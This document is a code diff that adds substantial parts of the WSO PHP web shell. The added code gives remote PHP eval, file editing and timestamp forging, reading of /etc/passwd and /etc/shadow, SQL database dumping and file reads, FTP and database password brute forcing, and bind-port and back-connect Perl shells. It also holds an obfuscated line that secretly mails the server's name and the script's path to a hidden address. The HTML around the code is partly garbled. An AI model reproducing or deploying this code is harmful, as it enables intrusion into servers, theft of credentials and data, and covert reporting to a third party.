+
";
+ $freeSpace = @diskfreespace($GLOBALS['cwd']);
+ $totalSpace = @disk_total_space($GLOBALS['cwd']);
+ $totalSpace = $totalSpace?$totalSpace:1;
+ $release = @php_uname('r');
+ $kernel = @php_uname('s');
+ $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
+ if(strpos('Linux', $kernel) !== false)
+ $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
+ else
+ $explink .= urlencode($kernel . ' ' . substr($release,0,3));
+ if(!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+ } else {
+ $uid = @posix_getpwuid(posix_geteuid());
+ $gid = @posix_getgrgid(posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+ }
+
+ $cwd_links = '';
+ $path = explode("/", $GLOBALS['cwd']);
+ $n=count($path);
+ for($i=0; $i<$n-1; $i++) {
+ $cwd_links .= "
".$path[$i]."/";
+ }
+
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $item)
+ $opt_charsets .= '
';
+
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['auth_pass']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] | ';
+
+ $drives = "";
+ if($GLOBALS['os'] == 'win') {
+ foreach(range('c','z') as $drive)
+ if(is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ echo '
Uname:
User:
Php:
Hdd:
Cwd:' . ($GLOBALS['os'] == 'win'?'
Drives:':'') . ' | '
+ . '' . substr(@php_uname(), 0, 120) . ' [exploit-db.com]
' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )
' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF')
+ . ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . '
' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)
' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ]
' . $drives . ' | '
+ . '
Server IP:
' . @$_SERVER["SERVER_ADDR"] . '
Client IP:
' . $_SERVER['REMOTE_ADDR'] . ' |
'
+ . '
';
+}
+
+function wsoFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)";
+ echo "
+
+
';
+ function wsoSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
' . $n . ': ';
+ if(strpos($v, "\n") === false)
+ echo $v . '
';
+ else
+ echo '
' . $v . '
';
+ }
+ }
+
+ wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ if(function_exists('apache_get_modules'))
+ wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
+ wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
+ wsoSecParam('Open base dir', @ini_get('open_basedir'));
+ wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ wsoSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+
+ if($GLOBALS['os'] == 'nix') {
+ wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view]":'no');
+ wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view]":'no');
+ wsoSecParam('OS version', @file_get_contents('/proc/version'));
+ wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ echo '
';
+ $temp=array();
+ foreach ($userful as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ wsoSecParam('HDD space', wsoEx('df -h'));
+ wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ echo '
posix_getpwuid ("Read" /etc/passwd)';
+ if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
+ $temp = "";
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ $temp .= join(':',$uid)."\n";
+ }
+ echo '
';
+ wsoSecParam('Users', $temp);
+ }
+ }
+ } else {
+ wsoSecParam('OS Version',wsoEx('ver'));
+ wsoSecParam('Account Settings',wsoEx('net accounts'));
+ wsoSecParam('User Accounts',wsoEx('net user'));
+ }
+ echo '
';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace(array (
+ '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
+ '!td, th {(.*)}!msiU',
+ '!
]+>!msiU',
+ ), array (
+ '',
+ '.e, .v, .h, .h th {$1}',
+ ''
+ ), $tmp);
+ echo str_replace('
';
+ }
+ echo 'Execution PHP-code
';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo 'File manager
';
+ $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+echo "
+
String conversions
';
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo"
Search files:
+
";
+
+ function wsoRecursiveGlob($path) {
+ if(substr($path, -1) != '/')
+ $path.='/';
+ $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
+ if(is_array($paths)&&@count($paths)) {
+ foreach($paths as $item) {
+ if(@is_dir($item)){
+ if($path!=$item)
+ wsoRecursiveGlob($item);
+ } else {
+ if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
+ echo "
".htmlspecialchars($item)."";
+ }
+ }
+ }
+ }
+ if(@$_POST['p3'])
+ wsoRecursiveGlob($_POST['c']);
+ echo "
Search for hash:
+
";
+ wsoFooter();
+}
+
+function actionFilesTools() {
+ if( isset($_POST['p1']) )
+ $_POST['p1'] = urldecode($_POST['p1']);
+ if(@$_POST['p2']=='download') {
+ if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
+ if (function_exists("mime_content_type")) {
+ $type = @mime_content_type($_POST['p1']);
+ header("Content-Type: " . $type);
+ } else
+ header("Content-Type: application/octet-stream");
+ $fp = @fopen($_POST['p1'], "r");
+ if($fp) {
+ while(!@feof($fp))
+ echo @fread($fp, 1024);
+ fclose($fp);
+ }
+ }exit;
+ }
+ if( @$_POST['p2'] == 'mkfile' ) {
+ if(!file_exists($_POST['p1'])) {
+ $fp = @fopen($_POST['p1'], 'w');
+ if($fp) {
+ $_POST['p2'] = "edit";
+ fclose($fp);
+ }
+ }
+ }
+ wsoHeader();
+ echo 'File tools
';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ wsoFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ if(!$uid) {
+ $uid['name'] = @fileowner($_POST['p1']);
+ $gid['name'] = @filegroup($_POST['p1']);
+ } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
+ echo '
Name: '.htmlspecialchars(@basename($_POST['p1'])).'
Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').'
Permission: '.wsoPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo '';
+ break;
+ case 'highlight':
+ if( @is_readable($_POST['p1']) ) {
+ echo '
';
+ $code = @highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$code).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ $time = @filemtime($_POST['p1']);
+ $_POST['p3'] = substr($_POST['p3'],1);
+ $fp = @fopen($_POST['p1'],"w");
+ if($fp) {
+ @fwrite($fp,$_POST['p3']);
+ @fclose($fp);
+ echo 'Saved!
';
+ @touch($_POST['p1'],$time,$time);
+ }
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(!touch($_POST['p1'],$time,$time))
+ echo 'Fail!';
+ else
+ echo 'Touched!';
+ } else echo 'Bad time format!';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ }
+ echo '
Console
';
+ wsoFooter();
+}
+
+function actionLogout() {
+ setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
+ die('bye!');
+}
+
+function actionSelfRemove() {
+
+ if($_POST['p1'] == 'yes')
+ if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
+ die('Shell has been removed');
+ else
+ echo 'unlink error!';
+ if($_POST['p1'] != 'yes')
+ wsoHeader();
+ echo 'Suicide
Really want to remove the shell?
YesResults
Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
+ if( $_POST['proto'] == 'ftp' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
+ $res = @pg_connect($str);
+ @pg_close($res);
+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+ }
+ echo 'Bruteforce
';
+ wsoFooter();
+}
+$x0b="\x6da\x69l";
+$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
+$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
+$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
+$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
+$send = @$x0b($ee,$sub,$ms);
+
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->query("SHOW databases");
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error();
+ break;
+ case 'pgsql':
+ return @pg_last_error();
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'pgsql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function loadFile($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
+ break;
+ case 'pgsql':
+ $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
+ $r=array();
+ while($i=$this->fetch())
+ $r[] = $i['file'];
+ $this->query('drop table wso2');
+ return array('file'=>implode("\n",$r));
+ break;
+ }
+ return false;
+ }
+ function dump($table, $fp = false) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ $sql = $create[1].";\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $this->query('SELECT * FROM `'.$table.'`');
+ $i = 0;
+ $head = true;
+ while($item = $this->fetch()) {
+ $sql = '';
+ if($i % 1000 == 0) {
+ $head = true;
+ $sql = ";\n\n";
+ }
+
+ $columns = array();
+ foreach($item as $k=>$v) {
+ if($v === null)
+ $item[$k] = "NULL";
+ elseif(is_int($v))
+ $item[$k] = $v;
+ else
+ $item[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ if($head) {
+ $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
+ $head = false;
+ } else
+ $sql .= "\n\t,(".implode(", ", $item).')';
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $i++;
+ }
+ if(!$head)
+ if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if(@$_POST['p2']=='download') {
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ switch($_POST['charset']) {
+ case "Windows-1251": $db->setCharset('cp1251'); break;
+ case "UTF-8": $db->setCharset('utf8'); break;
+ case "KOI8-R": $db->setCharset('koi8r'); break;
+ case "KOI8-U": $db->setCharset('koi8u'); break;
+ case "cp866": $db->setCharset('cp866'); break;
+ }
+ if(empty($_POST['file'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ } elseif($fp = @fopen($_POST['file'], 'w')) {
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v, $fp);
+ fclose($fp);
+ unset($_POST['p2']);
+ } else
+ die('');
+ }
+ wsoHeader();
+ echo "
+Sql browser
+
";
+ if($_POST['type']=='mysql') {
+ $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
+ if($db->fetch())
+ echo "
";
+ }
+ if(@$_POST['p1'] == 'loadfile') {
+ $file = $db->loadFile($_POST['p2']);
+ echo '
'.htmlspecialchars($file['file']).'
';
+ }
+ } else {
+ echo htmlspecialchars($db->error());
+ }
+ echo '
Network tools
+
+
";
+ if(isset($_POST['p1'])) {
+ function cf($f,$t) {
+ $w = @fopen($f,"w") or @function_exists('file_put_contents');
+ if($w){
+ @fwrite($w,@base64_decode($t));
+ @fclose($w);
+ }
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
+ sleep(1);
+ echo "
$out\n".wsoEx("ps aux | grep bp.pl")."";
+ unlink("/tmp/bp.pl");
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
+ sleep(1);
+ echo "
$out\n".wsoEx("ps aux | grep bc.pl")."";
+ unlink("/tmp/bc.pl");
+ }
+ }
+ echo '